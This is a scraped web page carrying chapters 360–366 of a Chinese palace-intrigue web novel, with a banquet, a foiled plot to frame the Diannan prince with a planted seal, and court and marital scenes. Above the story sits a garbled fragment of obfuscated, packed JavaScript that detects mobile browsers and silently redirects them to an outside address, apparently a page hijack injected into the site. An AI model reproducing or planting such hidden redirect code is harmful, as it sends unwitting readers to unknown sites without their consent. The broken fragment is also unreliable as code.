0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15643241|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧毒,伤了元气,今可大好了?” “劳皇上记挂,微臣得瑾王殿下赐药,余毒已清,已然大好了。” 说话间,谷栖山忍不住掩唇剧烈咳了起来。 终于止住了咳嗽,他慌忙请罪,“微臣殿前失仪了,请皇上恕罪。” 德丰帝闻言,却并无怪罪之意,反而更加面露关切。 “朕瞧着,谷爱卿的身子还未曾痊愈啊。朕听闻,爱卿的故乡在滇南,那里四季如春,风景怡人,西平与滇南气候截然不同,委屈你了。” 谷栖山忙道:“微臣蒙受皇恩,理应为陛下分忧,便是粉身碎骨,也在所不惜,断然不敢言委屈!” 德丰帝看着他,满脸欣慰之色。 “爱卿之忠心,朕心甚慰。但边关苦寒,卿久历风霜,实不利养病。今既归朝,卿当暂卸甲胄,颐养精神。” 谷栖山听了这话,心头一沉,果然,该来的还是来了。 德丰帝又缓缓道:“朱雀大街有一处宅子,种着卿故乡的紫竹。朕便赐与你,爱卿且在京中安心养病吧。他日若疆场再起烽烟,犹赖卿擎天拄地,为朕分忧。” 谷栖山连忙叩首,“臣定好好养伤,不辜负陛下隆恩。” 言罢,双手托虎符,垂眉敛目。 “臣既要卸甲静养,此西平兵符,臣当奉还陛下。” 德丰帝眸底闪过一抹惊诧。 他没想到,谷栖山会如此爽快地交出兵符。 此举,让德丰帝的心情添了几分愉悦,眼底的笑意真诚不少。 谷栖山又道:“然边关不可一日无将,臣斗胆举荐校尉戈叙白——此人虽年纪尚轻,但随臣征战八载,晓畅兵机,忠勇无双。” “昔破羌笛左帐,率百骑夜袭敌营,斩其酋首;去岁西平大旱,羌笛来犯,其亦勇猛杀敌,立下大功,军民皆感其德。若陛下垂鉴,使戈校尉继守西陲,必能效死以报天恩。” 德丰帝闻言,似是回忆了一番。 “朕对此子倒也有些印象,他在此次大战中亦立下了功劳,的确是可用之才。但他到底年轻,若升得太快,只怕难以服众。” 第361章 除夕宫宴 略沉吟一番,德丰帝开口,“便拔擢其为振威中郎将,协理三镇防务。京营总兵官任宗平擢为西平军监军使,领钦赐虎符,总摄粮械调拨、军纪督查之权。二人各司其职,遇战事须合议而行,十日一呈密折于朕前。” 谷栖山心中再次一沉。 皇上果然任用自己的心腹,有任宗平在西平钳制,叙白在军中只怕也会颇多掣肘。 但此乃君命,君命难违。 谷栖山再次叩首谢恩。 德丰帝见他并无异议,再次俯身,伸手将他扶了起来。 “戈卿年少锐气,任卿老成持重,譬若刀鞘相合,方可永固边圉。谷爱卿,你尽可安心在京中养伤。” 谷栖山感恩戴德,叩首退下。 离开了大殿,谷栖山的面色就笼上了一层阴霾。 他抬头看了看天,隐有雪花飘落。 变天了。 转眼便到了除夕。 这是陆知苒在王府过的第一个除夕。 都说新官上任三把火,陆知苒这个王妃亦是如此。 她已将王府的账目和人员梳理清楚。 王府的账目很简单,原先府库里空空如也,他们成亲前,柔妃才命人把好东西送来,把府库填满了。 以往是柔妃替萧晏辞打理这些东西,现在全都交给了陆知苒,还附带了一份清单。 陆知苒照着清单清点了一番,又将自己带来的嫁妆造册入库,事情便料理好了。 王府中只他们两位主子,每日的事务也简单,她一一吩咐下去,按部就班即可。 在王府过的第一个年节,自然要好生操办。 王府里里外外已经装饰一新,廊柱上缠着红绸,窗棂上贴了剪纸,连庭院里的梅树枝头也系上了小小的红灯笼。 萧晏辞回府时,见到焕然一新的王府,眉眼都不禁笼上一层温柔。 有了个知冷知热的人,果然不一样。 转眼除夕。 今夜宫中设宴,诸位宫妃、皇子及其家眷都需入宫参加晚宴,便是朝中众臣亦要出席。 大殿中间摆着一面巨大的屏风,一面男宾,一面女客。 萧晏辞与陆知苒装扮妥当,早早入了宫。 金碧辉煌的宫殿内,朱红廊柱间悬满吉祥宫灯,御案上陈列着珍馐美馔,玉盘金盏映着烛光,满殿飘散着御酒与檀香的馥郁气息。 萧晏辞对此兴致缺缺。 这些酒菜也不过看着好看,实则早就冷透了,全无美味可言。 还不如与自家王妃在屋中吃点热乎饭菜来得惬意。 萧晏辞神色稍显懒怠,陆知苒却正襟危坐,一派端庄。 她是瑾王妃,代表的是瑾王的颜面,断不能被人拿了错处。 安王萧晏珩、吴王萧晏清,也都各自携王妃到场。 陆知苒还看到了二皇子平王和三皇子肃王,他们都携家眷,从封地赶了回来。 两位皇子的身形都有些发福,本就高大,一胖起来便似一座山一般,看上去分外臃肿。 反观睿亲王这个皇叔,身形气度都十分不凡。 皇帝高坐于龙椅之上,身着明黄团龙朝袍,威严而含笑。 孙皇后终于露面了。 久病使她面色苍白,眉间那点朱砂花钿淡得几乎褪色,反倒衬得眼神愈发沉静,像一潭古井,无波无澜。 跟一众衣着鲜亮的嫔妃相比,孙皇后的素锦凤袍略显寡淡,她安静地坐在繁华中央,却似已超脱尘外。 陆知苒觉得她似一支将熄未熄的沉香,仿佛下一瞬就要被风吹散,消失在袅袅青烟里。 这个念头一起,陆知苒顿觉心惊,赶忙压下。 皇帝举杯祝祷国泰民安,众人同饮,席间渐起低语笑声。 谷栖山作为朝中重臣,自然也出席了。 不知是否是巧合,他与柔妃的位置正好相对。 即便有中间的屏风相隔,影影绰绰间,依旧可窥对面人影。 陆知苒见此安排,后背再次绷紧了。 这当真只是巧合吗?她不相信。 这只怕又是德丰帝的一次试探,先前的那桩事,他的疑心尚未打消。 陆知苒心中忐忑,但面上半分不敢表露,甚至不敢往他们二人那边多投半分眼神。 柔妃亦神色如常,与身旁的宫妃笑意嫣然,没有往不该看的方向多看一眼。 一个宫女不小心将茶水洒在了她身上,柔妃的衣裙被打湿,那宫女立马跪下请罪。 柔妃眉头微蹙,念在今日除夕,便没有出声训斥。 为免殿前失仪,柔妃只能起身前去更衣。 陆知苒注意到这边的动静,余光再一瞥,赫然发现,对面的谷栖山不知何时已然离席。 陆知苒心头一跳,有股不大好的预感。 但转念一想,他们已然窥破了德丰帝的疑心,二人又是理智之人,断然不会做下不该做的糊涂事。 另一头,孙皇后面露几分疲态,她向德丰帝请罪,提前离席了。 德丰帝知晓她的身子,准了。 孙皇后由宫人搀扶离开,睿亲王的视线一直追随着她,直至身形彻底消失。 睿亲王妃也很快起身,悄然跟上。 离开了温暖的大殿,孙皇后便被冷风呛得咳了两声,吴嬷嬷立马替她将披风裹得更严实几分。 “娘娘,奴婢去给您唤轿辇吧,这里到坤宁宫,还有不短的路程。” 孙皇后摇头,“不必。我想走走。” 吴嬷嬷还是悄悄命人去了,先把轿辇备着,若是走累了也能歇一歇。 这时,睿亲王妃快步追了上来。 她朝孙皇后屈膝行礼,“拜见皇嫂。” 孙皇后见了她,面上也并无太大意外,脸上露出一抹浅笑。 “起吧,无需多礼。” 当初,睿亲王妃便是孙皇后相看的。 她的外祖家在蜀地,恰好,睿亲王的封地亦在蜀地,相看时便多留意几分。 睿亲王自己也点了头,这桩亲事便成了。 睿亲王妃起身,满含关切地看着孙皇后。 “皇嫂,您的身子如何了?” 孙皇后笑道:“老毛病了,无甚大碍。” 谁都听得出这是客套话,睿亲王妃微微红了眼眶,又很快将泪意压下。 “你先前送的那些滋补之物,本宫都吃了,甚是不错,多谢你的好意。” “皇嫂吃着好便好,这都是王爷的安排。这十几年,王爷一直惦念着您。” 孙皇后面容愈添柔和,“雪臣这些年可好?本宫亦一直惦念着他。” 睿亲王名唤萧雪臣,会这般唤他的,也就只有孙皇后了。 “一切都好。” 第362章 滇南王的年礼 说话间,睿亲王妃很自然地挽住了孙皇后的胳膊,小心地扶着她往前走。 孙皇后问起他们在封地之事,睿亲王妃一一耐心道来,气氛倒是融洽。 说着说着,睿亲王妃便提到了萧宝珠,又说到了她的亲事。 “宝珠明年便要及笄了,亲事可有定下?” 孙皇后一副诸事不管的态度,“那孩子主意大,皇上也说了,驸马由她自己挑。” 睿亲王妃立马不赞同,“皇嫂,你莫怪我多嘴,婚姻大事,父母之命,媒妁之言,万不可马虎。宝珠心性单纯,只怕识人不清,就更需要有人替她好生张罗了。” 孙皇后苦笑,“你也瞧见了,本宫这身子也不争气,便是想操心,也是有心无力。” 睿亲王妃立马道:“皇嫂若是信得过,我可以替您操持一二……” 孙皇后掩唇咳了起来,吴嬷嬷急忙给她拍背顺气,也顺势把孙皇后重新扶了回来。 好半晌,孙皇后才终于缓过来,但整个人也更添虚弱无力,连话都说不出来了。 吴嬷嬷立马命人把孙皇后扶上轿辇,又朝睿亲王妃告罪。 “王妃,皇后身子不适,不便在此久留,奴婢先行护送皇后回宫,请王妃见谅。” 睿亲王妃满脸关切,本欲一道跟去,孙皇后虚弱道:“宫宴尚未结束,你也不好离席太久,且先回去吧,本宫无碍。” 目送轿辇远去,睿亲王妃脸上的神色才慢慢淡了下去。 孙皇后回到坤宁宫,手上已然一片冰冷,宫人立马忙碌着给她换暖手炉,又脱去沾了雪的大氅。 一通忙活,孙皇后半靠在榻上,身上才慢慢有了点热意。 孙皇后似自言自语,“一个个啊,都变了。” 睿亲王妃如此热络地与她叙旧,只怕最后那话才是真正的目的。 宝珠的亲事,又被人盯上了。 只是,这是她的意思,还是睿亲王的意思? 吴嬷嬷轻声道:“奴婢斗胆,睿亲王妃的意图如何,奴婢不敢揣测,但有一句话老奴以为她说得不错。” “公主的亲事是该操持起来了,您若信不过睿亲王妃,不若交给信得过之人,总不能真叫公主自个儿瞎折腾。” 孙皇后缓缓点头,旋即又疲倦地阖上了眼睛。 她的身子,一日不如一日,恐怕时日不多了。 她若撑不到宝珠成亲那日,但至少,得先把亲事定下来。 只是,该交给谁呢? 大殿内,晚宴仍在继续。 乐工奏起《丹陛大乐》,编钟悠扬,笙箫和鸣。 柔妃换了一身衣裙,悄无声息地回到了大殿内。 上首,德丰帝的余光朝这边淡淡扫了一眼。 而另一侧,谷栖山早在两刻钟前就已然回到席上,他只离席了小半刻钟,宫人回禀,他去了趟净房,很快就回来了,期间没有遇到任何人。 席上,也有几道隐晦的目光在暗暗窥视这一切。 一场宫宴,看似一片平和热闹,实则暗涛汹涌。 奏乐结束的间隙,有宫人匆忙入内,脸上带着喜色。 “皇上,滇南王进献的年礼到了。” 每年,各个藩王都会往朝廷进献年礼。 今年,滇南王的年礼送得有些迟了,但好在,赶在了除夕送达。 德丰帝满面含笑,“滇南王的年礼倒是送得及时,送上来,让众爱卿也跟着开开眼。” 柔妃的心再次提了起来,袖中的手暗暗握紧。 这年礼早不来晚不来,偏偏在这个时候来了,这其中,会不会被有心人动了手脚? 容不得她多想,很快有人把年礼抬了进来。 滇南王此番选派护送年礼的官员,乃是王府长史段思明。 他先向德丰帝行礼,旋即一一介绍此次滇南所奉年礼。 一为“勐海千年古茶饼”,取自古六大茶山三百年以上乔木,以傣家秘法压制。 茶饼形如满月,金毫隐现,打开时竟有琥珀色茶芽自然排列成“寿”字图案。 二为“滇金丝猴毫笔”一对,取雪山精灵颔下白毫,由大理国御笔匠人后代耗费两年制成。 三为“四季同辉屏风”一架,以永昌郡透光象牙片为骨,上面绣着滇地四季景致,栩栩如生,恍若身临其境。 四为十二尊“斑铜走马灯”,以会泽斑铜铸成滇地珍禽异兽,内置机关,点燃灯烛后,孔雀会开屏,大象卷鼻,黑颈鹤振翅。 一一介绍完毕,段思明又奉上滇南王奏章,高声道:“这些贡品看似平平无奇,实则皆暗藏玄机。那茶饼可解百毒,笔中松香能安神,屏风蝶粉可驱虫,走马灯烟能止血,皆是边陲秘而不宣的奇技。蛮荒之地无长物,唯有些许造化天工,聊表臣子寸心。” 众臣听罢,皆面露惊叹之色。 德丰帝抚须大笑,“好,甚好,滇南王送的这份年礼甚是奇巧,有心了。” 柔妃见此,终于长长呼出一口气,紧绷的心弦也缓缓放松。 这时,萧晏清开口,似十分好奇。 “父皇,那走马灯听上去十分新奇有趣,不若便让这位段大人当场给大家演示一番。” 殿内气氛不错,有大臣也跟着附和。 德丰帝见众人如此好奇,便也添了几分兴致。 段思明得了授意,便取来烛火,点亮了那走马灯。 说来也奇,那灯罩薄如蝉翼,却不怕火烧。 不知其中到底有什么关窍,烛火燃起,果然如段思明所说,孔雀开屏,大象卷鼻,黑颈鹤振翅,在那烛火的映照下,显得愈发生动。 众人见之,俱是啧啧称奇。 忽而,那机关不知发生了什么变故,只听咔哒一声,有什么东西从机关里掉了出来,将那机关卡住了。 众人心想,莫非这机关如此中看不中用,这么轻易就坏了? “那是何物?” 众人皆好奇。 段思明的脸色似变了变,眼底隐含惊慌。 他急忙将那东西取了下去,似有遮掩之意。 “是微臣疏忽,让异物卡住了机关,请皇上恕罪。” 德丰帝的眸光不禁微微眯了眯。 “此为何物?” 段思明额上有汗意渗出,又慌忙跪下请罪,“皇上,这只是一个寻常之物罢了,恐不值得污了您的眼。” 第363章 年礼被动了手脚 他越是如此遮遮掩掩,反而越发引人怀疑。 德丰帝沉了声音,“若朕就想看看呢?” 段思明伏跪在地,半晌没有动作。 萧晏清眯着眼睛,“父皇,微臣方才瞧着,那东西形似龙钮,似是私印,这,岂不是逾制之物?” 此言一出,堂下陡然一静,方才那轻松愉悦的气氛陡然消失,转瞬便似拉满的弓弦,陡然紧绷。 柔妃的心也霎时提到了嗓子眼,脸色更是一片煞白。 她方才高兴得太早了! 果然有人在年礼上动手脚。 这龙钮私印从滇南的年礼中掉出来,哪怕上面没有铭文,形制也僭越了。 皇上本就多疑,经此一事,只怕更会视滇南为眼中钉。 陆知苒的呼吸也凝滞了一瞬,手心都是汗。 萧晏辞面色幽沉,不知在想些什么。 德丰帝坐在上首,眸光幽暗不明,周身都是风雨欲来的气势。 段思明慌忙辩解,“皇上明鉴,这绝不是龙钮私印。” “那是何物?” 段思明面露犹豫,“皇上,此事事关重大,请容微臣私下与您解释。” 德丰帝面色依旧很沉,“有什么话,便当众解释吧,免得诸位爱卿对滇南王也生了误解。” 段思明依旧迟疑,德丰帝却没了耐心。 “来人,替朕将那东西呈递上来。” 在他近前的一个太监立马上前,将段思明手中那东西抢了过去,恭恭敬敬地递了上去。 众人看不清,但有人却被一晃而过的金光刺到了眼睛。 萧晏清唇角勾起一抹弧度,又很快压下。 他们的计划很成功。 这一次,他倒要看看,滇南王如何自辩。 德丰帝看到呈递到眼前的东西,眸色更幽沉几分。 “段爱卿,你且好好解释一番,为何会有此物?” 萧晏清听到德丰帝语气中隐含的怒意,越发笃定自己的计谋成功了。 他朝自己的心腹递眼神,立马有人站起来,语气激昂地道:“滇南王身为臣子,却私铸龙钮私印,俨然是生了不臣之心,微臣以为,当将此人拿下,再派兵前往滇南,捉拿滇南王。” 此言一出,当即有人附议。 柔妃按捺不住要起身,被锦瑟伸手压住,又冲她摇了摇头。 此番情景,她不宜开口,不然反而会弄巧成拙。 柔妃的指甲狠狠掐进肉里,她用尽了全部力气,才压住了起身的冲动。 段思明高声解释,“皇上,那不是龙钮私印,是从滇南带来的一块石头。” 这话险些让萧晏清笑出声来。 石头?亏他说得出来。 段思明继续道:“那并非一块普通的石头,而是含着金沙的石头。数月前,王爷在澜霞谷流域发现了金沙,甚饶,这块石头便是从那河中捞出的金石。” 此言一出,殿内众人皆是一惊。 萧晏清脸上的笑容瞬间凝滞。 什么?金石?怎么可能! 他一时失控,“既如此,你方才缘何遮遮掩掩,不肯明说?” 众人也生出这个疑惑。 “事成于密,那澜霞谷流域有不少部落和土司,王爷不敢贸然开采,以免招了土司觊觎,引起不必要的麻烦。是以,王爷一再叮嘱,务必私下向皇上回禀此事。” 萧晏清的脸色似进了染色坊一般,十分难看。 怎会如此? 他们的计划反倒成全了滇南王,让滇南王在父皇面前立了大功? 萧晏清如何甘心? 他再次朝心腹使眼色,心腹会意,硬着头皮开口。 “若方才没有发生那桩插曲,谁知你们会不会瞒下此事,私下开采?” 这话带着满满的恶意,段思明一下沉了脸。 “这位大人,请您慎言!我滇南府对朝廷忠心耿耿,其心天地可鉴,日月可照!有关金沙之事,王爷已写了奏折,向皇上禀明,那奏折先前便已呈递上去,即便没有方才的那番插曲,滇南府也断没有隐瞒之意,这位大人空口白牙便往我们身上泼脏水,简直欺人太甚!” 那人脸色顿时一僵,一时说不出话来。 冯有才非常有眼色,立马将那封奏折翻开,摆在德丰帝面前。 德丰帝很快看完,他的面色依旧紧绷,眼中含着戾气,只不过,这一次,他的戾气是对着方才口出狂言的人。 “徐爱卿,你无凭无证就妄逞唇舌之锋,罔顾臣节,谁给你的胆子?依朕看,你这通政使也别做了。” 一句话就把他的官职撸了,那徐大人脸色大变,当即高声告饶,但德丰帝不为所动,一个眼神示意,他就被拖了下去。 有了徐大人的前车之鉴,方才同样说了不该说的人立马跪地请罪。 萧晏清亦在此列。 天晓得他有多憋屈和不甘。 本以为是稳赢的一步棋,谁能料到竟会有如此反转。 他分明让人把那枚龙钮私印放进去了,为何会变成了一块金石? 萧晏清想不通。 萧晏辞目光冷冷地看着他。 他先前就给外祖父去信,让他们多加警惕。 段思明进京前,萧晏辞派人与他悄悄接头。 萧晏辞猜测,定然有人不安分,有可能在年礼上动手脚。 于是,他们便索性来了个将计就计,反将一军。 如此,也能钓出背后的那条鱼。 果然,萧晏清的狐狸尾巴露了出来。 假若他们之前无所察觉,萧晏清的计谋得逞了,滇南府将招至灭顶之灾。 萧晏辞的眸中迸出杀意。 必须除掉他。 德丰帝冷冷地看着萧晏清,眼底含着晦暗不明的情绪。 德丰帝没有斥责,只淡淡说了一句,“吴王,你既已成了婚,那年后,便该前往封地了。” 一句话让萧晏清如遭雷击,一众朝臣也被打蒙了。 成了婚的皇子不止吴王,还有安王和瑾王。 但德丰帝却独独让吴王前往封地。 这俨然是一个明示,他将吴王踢出了太子候选之列。 卢诗音瞬间变色。 李贵妃的手狠狠攥紧,险些没忍住站出来为萧晏清求情。 可是,她能怎么求情呢? 成年皇子前往封地,本就是情理之中的事,她连求情的理由都没有。 萧晏清也明白这一点。 他很想质问,那萧晏珩和萧晏辞呢? 但理智让他把这个问题咽了回去。 他低下了头,声音颤抖地道:“儿臣领旨谢恩。” 第364章 秋后的蚂蚱蹦不起来了 一场宫宴,潦草收场。 经此一夜,众官员都知道,朝中的风向彻底变了。 陆知苒与坐在自己身侧的邢初雪道别,上了自家马车。 萧晏辞很快上来,马车缓缓朝瑾王府而去。 二人目光对视,彼此眼里都含着深意,但谁都没有说话。 直到回了王府,进到卧房,关上了房门,陆知苒才开口。 “今夜之事,是殿下布的局?” 萧晏辞点头,“没错。” 他将自己先前的安排尽数道来,陆知苒松了口气的同时,也不免后怕。 “幸亏你早有安排,不然,后果不堪设想。” 陆知苒又提到母妃中途被宫女弄脏衣裙之事,“当时,镇西将军也离席了,我担心……” 萧晏辞握住她的手,“不必担心,他们都心中有数,不会犯蠢。” 陆知苒闻言,便稍稍放下心来。 她又问,“依你对父皇的了解,经此一事之后,他是否会彻底放下芥蒂?” 萧晏辞沉吟片刻,旋即缓缓摇头。 “帝王之心,深不可测,不能以寻常论之。” “不管是否有芥蒂,至少,现在父皇不会对滇南府做些什么。滇南府立下了大功,且开采金沙,也需滇南府出力。” 有价值,就不会被抹杀。 陆知苒轻舒了口气。 这次,总算顺利逃过一劫。 “此事,吴王难脱干系。” 萧晏辞眸色一冷,“放心,本王也有大礼送给他。” 陆知苒闻言,正待细问,萧晏辞已然伸手揽住她的腰。 “夜深了,休要再提旁的无关之人,就寝吧。” 他开始毛手毛脚,陆知苒很快就知晓他的意图。 男人的手略带几分粗粝,触在她娇嫩的肌肤上,叫她不禁微微战栗。 她的腰肢堪怜,不足一握,那丰盈处却分外傲人,中衣上绣的缠枝莲纹似活了过来,随着她的气息轻轻颤动。 轻轻一勾,傲人风光如牡丹含露,海棠着雨,霎时,红帐内春意更浓。 窗外月色渐隐,红烛泪垂。 不知何时,一切方归于平静。 今夜,德丰帝歇在了柔妃的夕颜殿。 他上了年纪,皮肉松弛,眼角细纹明显,褪去了龙袍,整个人便只是一个再寻常不过的老人。 于男女之事上,他已是有心无力,只与柔妃并肩躺着。 “爱妃,今夜朕险些误会了滇南王,你可怨怪朕?” 柔妃挨着他,语气轻柔。 “今夜之事实属意外,莫说是皇上,便是臣妾也以为父亲糊涂,做了不该做之事。好在皇上明察秋毫,还了父亲一个公道,臣妾自然不会怪到皇上身上。” 德丰帝听了她这温柔小意的话,轻轻拍了拍她的手,动作轻柔。 “滇南王对朕,对朝廷忠心耿耿,这份心,朕明白。” 柔妃一脸感动。 她什么都没有再说,也没有趁机告萧晏清的状,只是依恋地挨着德丰帝睡下,很快就发出了均匀绵长的呼吸。 德丰帝却没有睡着。 人老了,觉少。 更何况,今夜之事,容不得他不多想。 明眼人都看得出来,那年礼被人动了手脚,其本意,只怕是要嫁祸滇南王,扣上一个谋逆之罪。 是何人所为? 德丰帝已然派人去查。 就算结果尚未查出,他心中也早有猜测。 他眸色又添几分幽沉,直至后半夜,才慢慢睡去。 而身侧的人,却是缓缓睁开了眼睛。 她的心头沉甸甸的,毫无睡意,也不敢睡,怕自己睡熟之后,喊出不敢喊的名字。 此时,不止一人难以成眠。 萧晏清自不必说,他一回到王府就发疯地打砸,状若癫狂,王府众人都噤若寒蝉,未敢发一言。 朱雀大街某处宅邸中,谷栖山在院中凉亭枯坐半晌。 这是德丰帝赏给他的宅邸,朱漆青瓦,亭台楼阁,更是闹中取静的绝佳地段。 宅子里也确如德丰帝所言,种着一片紫竹。 看着这片与故乡中一般无二的紫竹,谷栖山却没有熟悉和慰藉,只觉寂寥。 他内伤未愈,本不该饮酒,但今夜却破了例。 醉眼朦胧间,他仿佛又看到了那道身影。 他们之间只隔着一道屏风,实际上却隔着难以逾越的鸿沟与天堑。 他只敢用余光窥视她。 虽不敢直视,但却竖起了耳朵,将她今夜所说的每一句话,尽数听在了耳中。 将近二十年过去了,她的声音依旧如少女般清脆悦耳。 本以为这辈子都再没有机会见到她,没曾想,老天爷不算薄待他。 能得知她一如往昔,他便放心了。 谷栖山很快放下了杯盏。 他需得尽快养好身体。 今夜年礼的插曲虽有惊无险,却同样令人心有余悸。 滇南王的处境,只怕也不容乐观。 他需尽早恢复,若滇南有一日需要他,他不至于无能为力。 除夕之后,本该罢朝十日,德丰帝亦能歇一歇。 但翌日,德丰帝又去了御书房。 冯有才出声劝道:“皇上,今日是大年初一,您也歇一歇吧。” 德丰帝淡声道:“有一桩事,朕需得料理了。” 冯有才不再劝。 德丰帝翻出了两封奏折,冯有才余光飞快瞥了一眼,当即明了。 那分明是秦中举上禀的赵书宁的口供。 一共两份口供,是先后递交上来的。 第一份口供,赵书宁声称柔妃和谷栖山有旧情。 第二份,她更暗指滇南府早有不臣之心! 她声称,早在多年前,西平慢慢涌入许多滇南人,并非商人,反似游侠。 四年前,西平的那场蝗灾爆发之时,有滇南人寻到她,蛊惑她用蛊术“救人”,只是被她拒绝了。 此次蛊虫之祸,全是滇南府处心积虑,早有预谋,其目的,便是为了搅乱朝局,好叫滇南府有可乘之机。 此番言论,惊心骇然。 她无凭无证,本不可取信,但这番话正正说中了德丰帝隐秘的心思。 滇南府拥兵自重,他已生了忌惮,需要有一个名正言顺的理由出手发难。 但,昨夜之事,让德丰帝的心思发生了转变。 滇南府发现了富饶金沙,此乃大喜事。 滇南的部族与土司颇多,局势复杂,朝廷要开采金沙,就必须仰仗滇南王,滇南动不得。 既如此,有些人就该死了。 德丰帝将那两封供词烧了,又下了一道旨意。 “过了正月,赵书宁等一众重犯,择日处斩。” 冯有才躬着身道:“圣上英明。” 有些秋后的蚂蚱,终究是蹦不起来了。 第365章 道出恒瑞商行的底细 之后的几日,萧晏辞几乎赖在内院里,哪儿也不去。 刚成婚的那大半个月,他尚且十分克制。 时至今日,他已慢慢暴露本性。 男人在某些方面便似那喂不饱的野狼,陆知苒不胜其扰,差点一脚把他从床上踢下去。 他见陆知苒的确恼了,这才没再闹她,只老实安分地抱着她睡觉。 二人这一番耳鬓厮磨,转眼便到了大年初五。 陆知苒耳朵被萧晏辞留下的痕迹也终于淡了。 年节里,各家各户都在办宴。 夫妻二人用过饭,下人送来了不少请帖,都是各家各户的宴请。 萧晏清直接道:“无关紧要的人家都推了便是,何必费那心思?” 陆知苒也不想费心交际,便都派人推了。 这时,手下从外头传来一个消息,陆知苒看罢书信,面色微凝。 萧晏辞见此便问,“发生了何事?” 陆知苒将手中的信递给他,萧晏辞看罢,面色一冷。 “我那好皇兄当真是贼心不死。” 萧晏清盯上了恒瑞商行,向对方许以皇商的好处,想要将其收买。 萧晏辞对恒瑞商行还有印象,火炮和洋芋,都是恒瑞商行出的力。 恒瑞商行靠出海赚得盆满钵满,俨然成了一块引人垂涎的大肥肉。 萧晏清即将前往封地,但他依旧不死心,妄图把恒瑞商行收为己用,成为日后翻身的筹码。 夺嫡之路,由鲜血铺就,更离不开银子的托举。 若恒瑞商行为他所用,为他提供源源不断的财力,的确能让他多不少胜算。 “你可知晓这商行东家的底细?” 萧晏清想给自己找一棵摇钱树,他可不同意。 有先前的两次交道,萧晏辞觉得,自己若出面截胡,恒瑞商行应当会愿意投诚。 陆知苒笑道:“说来也巧,我还真知道。那人与我们还是大熟人。” 萧晏辞顿时来了兴趣。 “是谁?” 陆知苒说出萧晏珩的名字,萧晏辞瞬间愣住了。 他甚至怀疑自己听错了。 “你方才说谁?五皇兄?” 陆知苒点头,“此事是霜华发现的,她跟踪了恒瑞商行的管事,对方进了安王府,而后我又核实了一番,基本上确定此事不假。” 萧晏辞对此全然不知情,可见霜华没有把事情告知他。 霜华本是萧晏辞的人,但现在,她已然把自己当成真正的主子。 这让陆知苒添了几分满意。 还未来得及消化这个消息,又有人入内回禀,安王府送来了请帖,邀他们过府小聚。 二人对视一眼。 这么巧? 他们有预感,安王多半也是因为皇商之事才发帖相邀。 二人立马起身收拾,往安王府而去。 此时的安王府亦是一片红火喜庆,府里的下人一个个喜气洋洋的。 萧晏珩披着一身雪白狐裘,越发衬得他面如冠玉,似天上谪仙般出尘。 他掩唇轻咳了几声,面上浮出两分病态。 萧晏辞面露关切,“五皇兄病了?” 萧晏珩点头,“本欲主动登门,但奈何身子不争气,不可见风,就只能劳烦七弟与七弟妹跑一趟了。实不相瞒,为兄有要事与七弟相商。” 萧晏珩开门见山,萧晏辞便越发笃定自己的猜测。 兄弟二人去了书房,陆知苒则与邢初雪坐在一处闲话家常。 二人从好友变成了妯娌,彼此的关系更加亲近几分。 邢初雪告诉了陆知苒一件事。 “这几日,吴王妃来了好几次,她听说了艾伯特医术高明,便让他开方调理身子。” 陆知苒了然,“是为了怀孕之事?” 邢初雪点头。 “艾伯特手头缺了一味药,配不齐方子,实在无能为力。但吴王妃却认定是我和王爷授意,当场就翻了脸。” 说起此事,邢初雪不禁满脸怒意。 她素来不喜卢诗音,但同为女子,她登门求医,邢初雪还是客客气气地应了对方的要求,让艾伯特为她诊脉,艾伯特所说也是实话。 谁曾想,对方竟不识好人心,反过来责怪自己。 早知如此,就不该做这好人。 陆知苒听罢,觉得这的确是卢诗音做得出来的事。 吴王年后要前往封地,卢诗音的不孕之症却没有半分起色,她急了。 若她没有一儿半女,到了封地,她娘家鞭长莫及,帮衬不到她半分,她在吴王府的日子只会更加难过。 日后,吴王若当真有了其他造化,也没她什么事。 所以她才会放下身段,主动登了安王府的门。 原本怀抱希望,谁料一切最后却落了空,卢诗音自然恼怒。 陆知苒宽慰了邢初雪一番,邢初雪很快就抛诸脑后。 “我大人大量,懒得与她一般计较。” 她们本就不是一路人,邢初雪也只是与陆知苒闲话一番罢了。 “其实,我还挺羡慕她的。” 陆知苒一时没明白她这话的意思。 “羡慕什么?” 邢初雪认真道:“她觉得去封地是流放,觉得宛若天塌一般,但我却觉得在封地凡事自己做主,自由自在,也远离纷争,再好不过。” 安王的封地在荆湖地区,那里算不得多富饶,但也不算差。 而且邢初雪觉得,只要和自家王爷在一块,哪怕是再清苦之地,她也甘之如饴。 她很想知道,德丰帝到底何时立储? 赶紧立储,赶紧把他们都打发去封地吧。 邢初雪心中这么想,便大喇喇地问了出来,“你说,皇上何时会立储?” 这个话题有些敏感,也就邢初雪性子直率,会在陆知苒面前说起。 陆知苒摇头,“圣心难测。” 邢初雪声音压得更低,“我和王爷都支持瑾王。” 陆知苒朝她笑了笑,“一切都是未知的,我们都是内宅妇人,管不了朝堂上的事。” 这些话,还是不要宣之于口为好,免得祸从口出。 邢初雪也不再多说,转而聊起了其他。 陆知苒试探了一番,发现邢初雪对萧晏珩与恒瑞商行的关系全然不知,她便没有多嘴。 此事,萧晏珩想说之时,自然会告诉她,轮不到自己插嘴。 又过了小半刻钟,萧晏珩与萧晏辞方才书房中出来,二人脸上的神色都不错,看来他们谈得很愉快。 第366章 楚云清流产 邢初雪安排了饭菜,萧晏辞和陆知苒便留下,一道用了饭方才回去。 上了马车,萧晏辞便主动告知了他与萧晏珩商讨的结果。 “五皇兄主动向我交了底,他的确是恒瑞商行的东家。” 萧晏珩的交底,便是投诚。 他身体不好,无意帝王之位,只想享受人生余生,在封地吃香喝辣,逍遥快活。 当皇帝劳心劳力,在他看来是个苦差事,非但没有半点好处,反而会让他死得更快。 但怀璧其罪,恒瑞商行被盯上了,他不想暴露自身。 一旦暴露,他就没法独善其身。 他不想让萧晏清知晓自己的底细,却主动向萧晏辞摊牌。 这也是他深思熟虑之后的决定。 恒瑞商行已经被盯上,那势必有瞒不住的一日,与其被揭穿,不如主动摊牌,掌握先机。 他先前便已暗中向陆知苒示好,此时亮出底牌,能取信萧晏辞的机率很大。 且,他也相信萧晏辞与陆知苒的人品。 自己全心助力,日后能捞个从龙之功,至少不用担心不得善终。 萧晏辞很感慨,“本王实在没想到,五皇兄背地里竟藏了那么一手。” 同时,他又有点酸溜溜的。 